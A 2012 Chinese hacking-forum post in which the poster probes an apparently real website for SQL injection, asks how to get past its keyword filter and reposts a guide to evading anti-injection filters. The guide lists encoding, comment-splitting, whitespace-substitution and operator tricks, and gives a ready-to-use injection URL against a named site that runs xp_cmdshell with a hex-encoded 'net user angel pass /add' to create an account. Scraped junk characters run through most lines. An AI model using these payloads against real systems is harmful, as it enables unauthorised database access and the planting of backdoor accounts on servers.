找回密码
 立即注册
查看: 3031|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.
8 O% g) l, k8 C& s+ Ihttp://www.xxx.cn/Article.asp?ID=117 and 1=1" R. t- B4 z' h" w/ e8 T3 I7 o4 q; ?
直接返回主页
, W1 \  D: p) U( phttp://www.xxx.cn/Article.asp?ID=117 or 1=14 B  W* M3 F! H4 d" ?3 ]) C
直接返回主页
# ^; C7 _- c7 h7 s" o5 Thttp://www.xxx.cn/Article.asp?ID=117 or0 A( F1 I# h5 c0 h. P) h, _# H
没有返回主页 没有过滤or+ ]7 r0 _+ n: [! E9 P3 @/ T
http://www.xxx.cn/Article.asp?ID=117 and) y: C- K( i' O  ?/ d- y0 Q
直接返回主页 看来过滤了and
' a6 \$ O! w" C6 B4 shttp://www.xxx.cn/Article.asp?ID=117 or 1
) J5 l; F1 ?, `- l0 @$ j6 A没有返回主页 即没有过滤or 也没有过滤1
1 c" k. E3 m4 G# j0 x" dhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
% }1 F3 r5 P  a+ w- Y7 |直接返回主页 很明显过滤了等号 # x  U! t! }, o% N  I% N9 h
or的特性是与and相反的.0 i8 e% c! F5 ^1 W4 p# t8 ?
or 1=1 爆错 或与原页面不同4 m! }( ]- l, Q4 x( l4 Z# C
or 1=2 原页面相同1 B! p6 j* k* f
这样就是一个注入点0 n1 O" R  G8 |
但他过滤了=号 我就用><号代替=号吧!
: `4 `! {! h/ _5 B) c( z, e. J; lor 1<2 很明显是正确的,所以应该与原页面不同6 H" s# L6 U" A3 ?- `
or 1>2 很明显是错误的,所以应该与原页面相同
, O6 X, j4 B7 M, _/ x然后看看有没有过滤其他的查询语句,比如select.
0 W0 b4 @+ ?9 \  x9 rhttp://www.xxx.cn/Article.asp?ID=117 select" h- K. I# m8 \4 E" K
直接返回主页
8 l, ^# ^& Z. r" ]9 Q9 Z9 ]又迷茫了../ b% d1 d1 F- n3 ?. ?* y( A( d
' P, Y+ o& o8 H7 }4 Y# g

; L7 X) d6 [1 f* C) W" a( s" Q  D# Zcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 w. V2 \2 `; N
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)7 L4 N6 C" @5 m2 S& U
================================================+ Q# V* B) v% `! V6 R5 ^/ l3 k
以下是转贴:
8 {6 c8 w6 T5 {8 }& M; W! S# a% R% [
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
! g$ O/ w! Q0 K# L" v. |经过我的收集,大部分的防注入程序都过滤了以下关键字:
: J  n( t- B7 S6 cand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
) Y7 L$ k3 |/ S$ M- |而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
, m2 l) O- s4 Y7 X, }对于关键字的过滤,以下是我收集的以及我个人的一些想法。
1 y( M5 F8 M' a' B( g1、运用编码技术绕过
! ^0 R; i  a8 ]8 n" O7 U/ T% b) C如URLEncode编码,ASCII编码绕过。例如or 1=1即 . G4 h6 y4 m4 `
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ' |9 p2 v* _* [. s$ Z7 K* _

3 h( |3 E) d9 v9 W2、通过空格绕过
5 U) i- _: }4 D  W0 _如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 + p' N6 ~/ G9 a  H" U7 ~3 X* V
or’ swords’ =‘swords’
: b) L  o  Y4 h,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 0 A8 j" l! s9 f4 B8 g# c
3、运用字符串判断代替 4 l& G8 S) y0 w8 @! }$ ?
用经典的or 1=1判断绕过,如 " h- t8 J. s! c1 f- q
or ’swords’ =’swords’ / G0 t+ `/ ?# I$ C" @2 ]6 X5 q7 O, Z
,这个方法就是网上在讨论的。
6 S. M  [  x& n$ @9 ^( Y4、通过类型转换修饰符N绕过
# p6 H/ V+ h7 P5 l1 y8 z+ \( k可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
3 M6 _; W/ p# M# B7 Q5、通过+号拆解字符串绕过
5 Q+ R# u. h" @; o! e& q6 b0 H效果值得考证,但毕竟是一种方法。如
4 \' N+ v! J  u" Q) ior ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 7 b5 k' `5 ?+ {  p$ T( i9 ~' I& S
+ l7 r; ]/ e+ s  x- H
6、通过LIKE绕过 7 B( M" w9 M0 ]8 u# q- o9 f  P
以前怎么就没想到呢?如or % @) |/ u7 I, R1 ^+ F9 D+ U
’swords’ LIKE ’sw’
( I3 |0 _- Q9 [' `* B1 a!!!显然可以很轻松的绕过 2 D$ Z9 ^& H. ?* w" g3 B- q5 s
“=”“>” , `0 Q4 C4 @+ S6 Z' I
的限制…… $ d$ l2 [0 _6 h- g6 U$ @; J0 P
7、通过IN绕过 - B3 d) H, D- W9 Z! B( `
与上面的LIKE的思路差不多,如 * A& J6 |8 A% ]7 v2 [  F+ k- Q
or ’swords’ IN (’swords’) * V  [  Y' \% g2 G* D& I+ w3 J) q

2 ~4 ~3 C' _! g+ j; p% @; [8、通过BETWEEN绕过 + ~, a( x* F# b" a+ [% u; P

1 ~$ Y1 y5 a$ l1 s' _or ’swords’ BETWEEN ’rw’ AND ’tw’ $ W! a: b% v% y& s! Y
2 K. _" f8 f- q3 @
9、通过>或者<绕过
% F5 p, e2 J  [' A: y( _1 }# xor ’swords’ > ’sw’ 5 n: @9 w- F8 `; L0 |
or ’swords’ < ’tw’
3 \1 E! M: w4 @. }+ O5 Gor 1<3
2 O3 P! ^0 \- p5 A4 |…… 5 g" k% L# i" d; H' R( _& A/ f: U4 @  F0 y
10、运用注释语句绕过
! v0 ], o  K  v1 I$ \用/**/代替空格,如: 2 h3 _1 R1 H; J7 y* @. O& J
UNION /**/ Select /**/user,pwd,from tbluser
! Y6 l. I- A' J/ W4 W! q" L$ h. G: N4 i* ^/ `- `: n( ?
用/**/分割敏感词,如:
# H4 ], [% K! F% e. d- ~9 @3 X; L. ZU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser : m7 m/ I9 y, V  j. H! V9 }+ m: ^
9 ~& k4 I6 {+ j5 J7 |/ f$ `
11、用HEX绕过,一般的IDS都无法检测出来
& Y4 `& |/ a$ l0x730079007300610064006D0069006E00 =hex(sysadmin) & p$ J% |1 }2 T: X* Y$ r! ?
0x640062005F006F0077006E0065007200 =hex(db_owner) 6 A6 i+ v. [3 e% B
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: - E( ^) E: n4 K9 J5 Z
  declare @a sysname
* P( A& v2 T) Q$ Y# P4 h  `9 j& c! B  select @a= 0 l: X! L5 I- P5 Q
  exec master.dbo.xp_cmdshell @a
# r$ C4 Y$ s" ^. E9 x. a% l2 g+ l效果
6 \6 l: g5 N7 C9 ahttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
, g6 e6 p: \: }& x
. t, Z, P1 Q3 h& G+ e. b% }4 I: w- a其中的 7 i+ W$ \$ r  G5 a2 m" g
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
3 {+ I; _2 @" P就是 # i# Z* ?5 ^: H$ B4 H
“net user angel pass /add”& }3 R; G; E8 f0 |6 _% o; r

, ~- V! C$ Q0 |$ B一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
* t7 W8 Y% b. `: ~8 L引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。, v; r6 t% c+ O3 [- W6 J. Q7 Y) J
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似% d8 M! W# [( k5 S6 |
Copy code- }1 Y# N$ E9 k: E" [/ l' m
select * from table exec xp_cmdshell'xxxxxxxxxx'
: N  `1 H; X  j8 P" B% e$ Y1 E7 {

3 N& y) c6 x- c( x) sselect * from table/**/exec xp_cmdshell'xxxxxxxxxx': W  x; {5 I0 S$ a% q3 @
) _* F) q+ y/ Q' b, p
3 D* e1 l% ]- r/ O, Z
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
3 @+ B" ~6 @) [8 v/ ]3 I+ X8 b* H3 f2 F  L+ |2 V" K

" q3 M& t; t" S/ }: O# bselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'* V5 o7 X( _3 \" @- @( N

+ z! D" j% l- ]2 L) [3 w1 }3 |的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?8 r6 z* r4 ^5 |$ j8 Z
# W7 K7 C$ {. g6 G% z# o3 R
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了/ u" u; B9 E0 }
可能大家早就知道了,不管怎么说,发在这里吧!
8 u2 `8 f2 G' s, i( R! \: o8 q$ W& N4 _# J7 p- ~; X% e' A1 g. }* }
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
7 [/ b! w0 V; U3 J$ K
! s7 }, Z* Y1 Z' A. l, z" L0 s( X' B9 ^  O- A

) _6 ?; U9 M2 \4 |对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
9 O7 g7 {: ~& X7 U比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
) _5 j+ q+ l$ K2 I- ]- x3 U; W) f5 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表